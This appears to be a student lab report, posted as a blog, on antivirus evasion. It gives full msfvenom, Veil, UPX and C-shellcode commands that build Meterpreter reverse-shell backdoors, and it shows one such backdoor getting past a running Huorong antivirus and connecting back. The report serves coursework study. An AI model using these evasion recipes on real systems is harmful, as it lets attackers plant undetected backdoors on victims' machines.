Exp3-免杀原理与实践-20202127

一、基础问题回答

1、杀软是如何检测出恶意代码的?

病毒特征码检测
加密文件分析一种是以卡巴斯基为代表的安全软件,会自带脱壳引擎,将加壳文件脱壳还原后再进一步判定文件是否有害;另一种是实力不佳的安全厂商,由于难以开发高质量脱壳引擎,会尝试从进程内存数据中检测有害信息,因为内存中的数据一般都不在受加壳机制保护了。
基于行为检测的主动防御。比如当病毒文件尝试修改一些敏感信息就会报警。

2、免杀是做什么?

免杀技术全称为反杀毒技术,躲避杀毒软件的检测。它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
免杀还有很多的分类:文件免杀,基于文件的免杀基本上就是破坏原有程序的特征。无论是修改特征码还是加上一段花指令还是加壳,目的就是为了打乱或加密可执行文件内部的数据。
内存免杀,数据进入CPU之前会在内存中处理成可以直接被CPU执行的形式。通过选择扫描内存的形式去查杀木马。将要被执行的程序肯定比未执行程序的威胁更大。再厉害的木马只要能保证它不被执行,它在用户的计算机中最多也就是算是一个垃圾文件,就不会对用户及网络构成任何威胁。
行为免杀,从最早的“文件防火墙”发展到后来的“主动防御”,再到现在的部分“云查杀”,其实都应用了行为查杀技术。常见行为添加服务、创建驱动、释放资源、添加注册表、增加自启动、创建互斥体、遍历全硬盘的文件、远程线程注入、HOOK。

3、免杀的基本方法有哪些?

(1)修改特征码
(2)加壳
(3)花指令。等等

4、开启杀软能绝对防止电脑中恶意代码吗?

绝对防止是很难做到的,通过virus扫描类的网站我们已经能够看出,不同的后门不同的杀软是表现不同的,所以不能绝对防止!同时,由于恶意代码也会随着科技进步发展变化,只能说是最大程度地去防止恶意代码,而且不同的杀软有不同的性能,对于恶意代码的防范也有一定的局限性,所以绝对是很难做到的!

二、 实践内容

1、正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

1.1 得到kali的ip地址

在这里插入图片描述

1.2 检验直接生成的后门exe文件(实验二中的后门程序)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 PORT=2127 -f exe > 20201203backdoor.exe

用免杀测试平台测试:

https://www.virustotal.com

测试结果如下:
在这里插入图片描述

1.3 使用Unicode编码一次

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b '\x00' LHOST=192.168.244.128 LPORT=2127 -f exe > 20202127backdoor.exe

在这里插入图片描述测试结果如下:
在这里插入图片描述
编码多次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -12 -b ‘\x00’ LHOST=192.168.244.128 LPORT=2127 -f exe > 20202127_backdoor2.exe

在这里插入图片描述

1.4利用php格式文件检测

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.113.130 LPORT=1203 x> 20201203_backdoor_php.php

在这里插入图片描述

1.5利用jar文件检测

msfvenom -p java/shell_reverse_tcp LHOST=192.168.113.130 LPORT=1203 -f jar > 20201203_backdoor_jar.jar

在这里插入图片描述在这里插入图片描述

2、veil,加壳工具

2.1安装veil-evasion

sudo apt-get update
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh

需要注意的是原安装配置文件setup.sh是从github上下载文件,但是国内访问github的速度比较慢,更改setup.sh第260行的克隆地址为:

Sudo git clone https://gitee.com/spears/VeilDependencies.git

在这里插入图片描述修改成功后,输入veil

在这里插入图片描述安装相关模块
在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.2利用加壳工具产生后门软件

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.244.128
set LPORT 2127
generate

在这里插入图片描述在这里插入图片描述在这里插入图片描述
检测结果为:
在这里插入图片描述

2.3 免杀加壳尝试

upx 20202127veil.exe -o 20202127_veil_upx.exe

在这里插入图片描述在这里插入图片描述

3、使用C + shellcode编程

使用msfvenom 得到shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.244.128 LPORT=2127 -f c

编辑C文件 vim shellcode_c.c,输入上方的代码以及

int main()
{  
    int (*func)() =(int(*)())buf;
    func();
}

在这里插入图片描述
在这里插入图片描述

编译成可执行文件

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

在这里插入图片描述

4.通过组合应用各种技术实现恶意代码免杀

利用python+aes_encrypt

veil
use evasion
list
use python/shellcode_inject/aes_encrypt.py
generate
2
回车
192.168.244.128
2127
回车

在这里插入图片描述
在这里插入图片描述原理:使用了数据加密的方式进行多次编译后门软件

三、附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

首先我们先生成.raw文件,代码如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' LHOST=192.168.244.128 LPORT=2127 -f raw -o 20202127myz.raw

运行结果如下图所示:
在这里插入图片描述
这时候我们可以尝试使用杀软进行测试,发现我们的.raw文件并没有报毒,如图所示(前三个是之前尝试的失败产物,最后一个是shellcode加载器被查出来了,但.raw文件未被查出,火绒也未报警)
在这里插入图片描述
然后我们将文件传到电脑主机上shellcode_launcher-master的路径下(shell_launcher需要下载,地址为https://gitee.com/vantler/shellcode_launcher/),并用shellcode_launcher指令运行,代码如下:

shellcode_launcher.exe -i 20202127myz.raw

与此同时,虚拟机上应该同实验二中一样开启监听,如下面两张图所示
在这里插入图片描述在这里插入图片描述输入dir,发现可以获取对方的权限。
在这里插入图片描述

四、实验问题

(1)安装的过程当中出现ptyhon的安装,当我点击next以后将卡死,弹出错误,并且在安装veil的过程中也显示,安装wine32失败

当时查了各种资料,换了各种国内源。然后又看了各种什么修改.setup的第251行github改为Gitee等。但是都失败了。依旧是同样的问题。
最后其实还是由于源的问题,因为之前我注释掉了官方源,并且加的都是国内的源,后来再/etc/apt/sources.list里加了:deb http://http.kali,org/kali kali-rolling main non-free contrib然后就对了。后来会出现什么.py。忽略即可。

(2)最开始我使用的是桥接模式,然后呢我在输入apt-get update的时候,有出现了什么does The net authentation?

问题好像是因为桥接模式连校园的内网好像DNS的配置访问不了外边的一些网络。然后我就换成了NAT模式去下载,就可以下载了。另一种方式就是配置KALI的DNS。在进入系统之前,我们先确认一下主机的ip地址、网关、DNS等信息。我们需要将桥接模式下虚拟机的ip地址和物理主机的ip设置为同一个网段,并使虚拟机的默认网关、子网掩码和DNS和物理主机的保持一致。进入kali,打开终端编辑网卡配置文件,命令为:vim /etc/network/interfaces。进入vim编辑器之后,设置虚拟机的ip、默认网关、子网掩码(natmask)、广播地址等信息,修改虚拟机的DNS配置文件,使虚拟机的DNS和主机的DNS一模一样,命令如下:vim /etc/resolv.conf。然后重启。

五、实验心得体会

本此实验遇到的比较大的问题就是veil的安装,当时反复出现wine32缺失的报错,按照系统给的命令操作之后,却又一直卡在某一行,我也不知道是这一步就应该等待这么久还是我的操作出现了问题,反复多次尝试之后,我在操作到那一步之后,出去吃了顿晚饭,回来之后就惊喜地发现veil已经安装完毕,由此,我也确定了我的操作并没有问题,只是确实需要等待很久。
本次实验我尝试了许多免杀方法,虽然有很多效果不尽如人意,比如使用msf编码器操作,但通过组合应用各种技术后,发现效果显著,检出率大幅下降,这也让我认识到网络安全之路依旧任重道远。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值